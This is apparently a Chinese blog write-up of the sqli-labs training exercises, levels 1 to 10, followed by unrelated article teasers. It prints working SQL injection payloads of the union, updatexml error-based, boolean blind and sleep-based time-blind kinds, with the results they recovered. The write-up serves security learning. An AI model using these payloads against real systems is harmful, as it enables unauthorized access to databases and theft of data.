sqli --【1--10】

news2025/1/16 20:14:04

Less-1(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(字符注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-2(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(数字型注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-3(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(数字型注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-4(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(数字型注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-5(错误注入)

1.无显示

2.有错误

3.使用错误注入

Less-6(错误注入)

1.无显示

2.有错误

3.使用错误注入

Less-7(读写文件)

1.查看是否有回显

Less-8(布尔盲注)

1.没有回显

2.没有报错

3.布尔盲注获取数据库名

4.计算数据库名字的位数

5.猜测每一位

Less-9(延时注入--1‘)

1.没有回显

2.没有报错

3.使用延时注入

4.分别查看每一位

Less-10(延时注入--1“)

1.没有回显

2.没有报错

3.使用延时注入

4.分别查看每一位


Less-1(联合查询)

1.查看是否有回显

?id=1

image-20230823212812230

2.查看是否有报错

?id=2'

image-20230823212916505

3.使用联合查询(字符注入)

3.1判断其列数

?2' order by 4 --+
判断有3列

image-20230823213657350

3.2 判断显示位置

?id=2' and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

image-20230823214024670

3.3敏感信息查询

?id=2' and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

image-20230823214321828

Less-2(联合查询)

1.查看是否有回显

?id=1

image-20230823221044476

2.查看是否有报错

?id=2'

image-20230823221201775

3.使用联合查询(数字型注入)

3.1判断其列数

?2' order by 4 --+
判断有3列

image-20230823221627126

3.2 判断显示位置

?id=2' and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

image-20230823221652336

3.3敏感信息查询

?id=2' and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

image-20230823221720787

Less-3(联合查询)

1.查看是否有回显

?id=1

image-20230823222047496

2.查看是否有报错

?id=2'

image-20230823222133486

3.使用联合查询(数字型注入)

3.1判断其列数

?2') order by 4 --+
判断有3列

image-20230823222242959

3.2 判断显示位置

?id=2') and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

image-20230823222316251

3.3敏感信息查询

?id=2') and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

image-20230823222352407

Less-4(联合查询)

1.查看是否有回显

?id=1

image-20230823222504478

2.查看是否有报错

?id=2"

image-20230823222756754

3.使用联合查询(数字型注入)

3.1判断其列数

?2") order by 4 --+
判断有3列

image-20230823222852599

3.2 判断显示位置

?id=2") and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

image-20230823222939729

3.3敏感信息查询

?id=2") and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

image-20230823223015613

Less-5(错误注入)

1.无显示

image-20230823223422750

2.有错误

image-20230823223533204

3.使用错误注入

?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

image-20230823223952605

Less-6(错误注入)

1.无显示

image-20230823224143187

2.有错误

image-20230823224249541

3.使用错误注入

?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

image-20230823224334113

Less-7(读写文件)

1.查看是否有回显

根据 Use outfile判断,此处使用写入文件的方式

image-20230824204519878

2.

Less-8(布尔盲注)

1.没有回显

image-20230823215743763

2.没有报错

image-20230823215938620

3.布尔盲注获取数据库名

?id=2' and database()='ajest' --+
没有显示,成本太高

image-20230823220022235

4.计算数据库名字的位数

?id=2' and length(database())>0 --+
?id=2' and length(database())=8 --+
​
显示八位
​

descript

descript

5.猜测每一位

?id=2' and ascii(substr((select database()),1,1))=115 --+

115 s

101 e

99 c

117 u

114 r

105 i

116 t

121 y

数据库:security

descript

Less-9(延时注入--1‘)

1.没有回显

?id=1

descript

2.没有报错

?id=1'

descript

3.使用延时注入

?id=1' and if(length((select version()))=6,sleep(5),1) --+
​
版本号共有6位

descript

4.分别查看每一位

?id=1' and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+

53 5

46 .

55 7

46 .

50 2

54 6

版本号 :5.7.26

descript

descript

descript

descript

descript

descript

Less-10(延时注入--1“)

1.没有回显

?id=1

image-20230824223349191

2.没有报错

?id=1"

image-20230824223316986

3.使用延时注入

?id=1" and if(length((select version()))=6,sleep(5),1) --+
​
版本号共有6位

image-20230824223246293

4.分别查看每一位

?id=1" and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+

53 5

46 .

55 7

46 .

50 2

54 6

版本号 :5.7.26

image-20230824223201619

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/998114.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[学习笔记]词向量模型-Word2vec

参考资料: 【word2vec词向量模型】原理详解代码实现 NLP自然语言处理的经典模型Word2vec 论文背景知识 词的表示方法 One-hot Representation:独热表示 简单,但词越多,向量越长。且无法表示词与词之间的关系。 论文储备知识-pr…

Ae 效果:CC Scatterize

模拟/CC Scatterize Simulation/CC Scatterize CC Scatterize(CC 散射)主要用于模拟将对象散射为颗粒状的效果。 CC Scatterize 的工作原理是:对源图像的 Alpha 通道先进行融解 Dissolve,从而产生随机颗粒,因此改变了源…

安卓系列机型 另类体验第三方系统 DSU操作步骤解析 不影响主系统开启第二系统

dsu loader即 动态系统更新,可以在使用动态分区的安卓设备上,不影响原来系统的同时安装一个副系统,用于体验最新的原生安卓系统。可以不影响主系统的基础上体验其他gsi第三方。DSU 依赖于 Android 动态分区功能,并要求 GSI 作为可…

博客系统(升级(Spring))(二)获取当前用户信息、对密码进行加密、设置统一数据格式、设置未登录拦截、线程池

博客系统(二) 博客系统获取当前用户的信息对密码进行加密和解密的操作设置统一的数据返回格式设置未登录拦截设置线程池 博客系统 博客系统是干什么的? CSDN就是一个典型的博客系统。而我在这里就是通过模拟实现一个博客系统,这是…

精品基于SpringCloud实现的高校招生信息管理系统-微服务-分布式

《[含文档PPT源码等]精品基于SpringCloud实现的高校招生信息管理系统-微服务-分布式》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程等 软件开发环境及开发工具: 开发语言:Java 框架:springcloud JDK版本&#x…

【环境配置】基于Docker配置Chisel-Bootcamp环境

文章目录 Chisel是什么Chisel-Bootcamp是什么基于Docker配置Chisel-Bootcamp官网下载Docker安装包Docker换源启动Bootcamp镜像常用docker命令 可能产生的问题 Chisel是什么 Chisel是Scala语言的一个库,可以由Scala语言通过import引入。 Chisel编程可以生成Verilog代…

C高级day3(shell指令)

一、Xmind整理: 二、上课笔记整理: 1.定义一个变量,把第11个外部参数的值,赋值给该变量并输出,再输出外部参数的个数 var3${11} echo $var3 echo $# 2.定义一个变量num,使用num获取root用户,…

腾讯事务处理技术验证系统3TS-Coo模板安装文档说明文档(小白向,简单轻松就能上手)

本篇文章将详细说明3TS-Coo模板的安装和使用,帮助您快速上手项目 第一部分是简单的基础Docker相关概念,精炼的几句小白话快速理解即可; 第二部分是快速安装项目环境的安装文档,简单几行命令搞定,小白也能轻松上手&…

12. Xaml Calendar控价 时间控件-->像挂历

1.运行图片 2.运行源码 a.xaml 源码 <Grid Name="Grid1"><!--DisplayMode="Month" 按照什么模式显示DisplayDateStart="2023-2-10" 显示时间的起始时间DisplayDateEnd="2023-8-30" 显示时间的结束时间IsTodayH

MyBatis-Plus-入门操作(1)

MyBatis-Plus-入门操作 2.1常见注解 约定大于配置 mp扫描实体类基于反射的方式作为数据库表的信息。 默认的约定 类名驼峰转下划线名字为id的是主键属性名进行驼峰转换成下划线 要是不遵循约定的话就需要对应的注解进行修改。 表的名字和 实际的表的名字是不一致的 Table…

Scrum看板工具-敏捷看板?

​ 敏捷看板 看板是一个团队共享的工作区&#xff0c;在看板上团队可以进行实时的工作任务协同&#xff0c;团队的工作以卡片的形式体现。通过泳道和任务列表组织管理。需求、任务、问题、缺陷 都作为卡片放在看板上&#xff0c;通过看板实现可视化和透明化的 管理&#xff0…

PHP8中获取并删除数组中第一个元素-PHP8知识详解

我在上一节关于数组的教程&#xff0c;讲的是在php8中获取并删除数组中最后一个元素&#xff0c;今天分享的是相反的&#xff1a;PHP8中获取并删除数组中第一个元素。 回顾一下昨天的知识&#xff0c;array_pop()函数将返回数组的最后一个元素&#xff0c;今天学习的是使用arr…

数据结构 每日一练:选择 + 编程

目录 选择 选择题总结 特殊矩阵的压缩存储 1.对阵矩阵 2.三角矩阵 3.三对角矩阵&#xff08;带状矩阵&#xff09; 编程 选择 1. 设有一个 10 阶的下三角矩阵 A &#xff08;包括对角线&#xff09;&#xff0c;按照行优先的顺序存储到连续的 55 个存储单元中&#xff0c…

vue学习之v-if/v-else/v-else-if

v-else/v-else-if 创建 demo7.html,内容如下 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Docum…

图解 LeetCode 算法汇总——回溯

本文首发公众号&#xff1a;小码A梦 回溯算法是一种常见的算法&#xff0c;常见用于解决排列组合、排列问题、搜索问题等算法&#xff0c;在一个搜索空间中寻找所有的可能的解。通过向分支不断尝试获取所有的解&#xff0c;然后找到合适的解&#xff0c;找完一个分支后再往回搜…

fastadmin的入门

fastadmin入门到完成项目 配置环境 1 运行环境 PHP > 7.2 且 < 7.4 (推荐PHP7.4版本) MySQL > 5.6 且 < 8.0 (需支持innodb引擎) Apache 或 Nginx 使用PHPstudy 运行该项目 写好apache伪静态规则 <IfModule mod_rewrite.c> Options FollowSymlinks -Multi…

什么是自动化测试po模式,po分层如何实现?

目录 一、什么是PO模式 二、什么是自动化测试框架 三、非PO模式和PO模式优缺点对比 四、如何从0到1搭建PO模型 五、自动化测试框架和PO的关系 六、总结 一、什么是PO模式 全称&#xff1a;page object model 简称&#xff1a;POM/PO PO模式最核心的思想是分层&#xf…

[BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞

目录 preg_replace的/e模式 为什么要变为 {${phpinfo()}} 另一个方法 版本 <?phperror_reporting(0); $text $_GET["text"]; $file $_GET["file"]; if(isset($text)&&(file_get_contents($text,r)"I have a dream")){echo &qu…

蓝桥杯备赛Day8——队列

大家好,我是牛哥带你学代码,本专栏详细介绍了蓝桥杯备赛的指南,特别适合迎战python组的小白选手。专栏以天作为单位,定期更新,将会一直更新,直到所有数据结构相关知识及高阶用法全部囊括,欢迎大家订阅本专栏! 队列也属于基础数据结构。 队列概念 队列是一种数据结构,…

谷粒学院笔记

p37 vscode安装插件 p51 前端技术 vue生命周期 前端debug p57 nodejs介绍 下载后安装 cmd node -v node 01.js 类似java运行class文件 nodejs作为服务器(了解)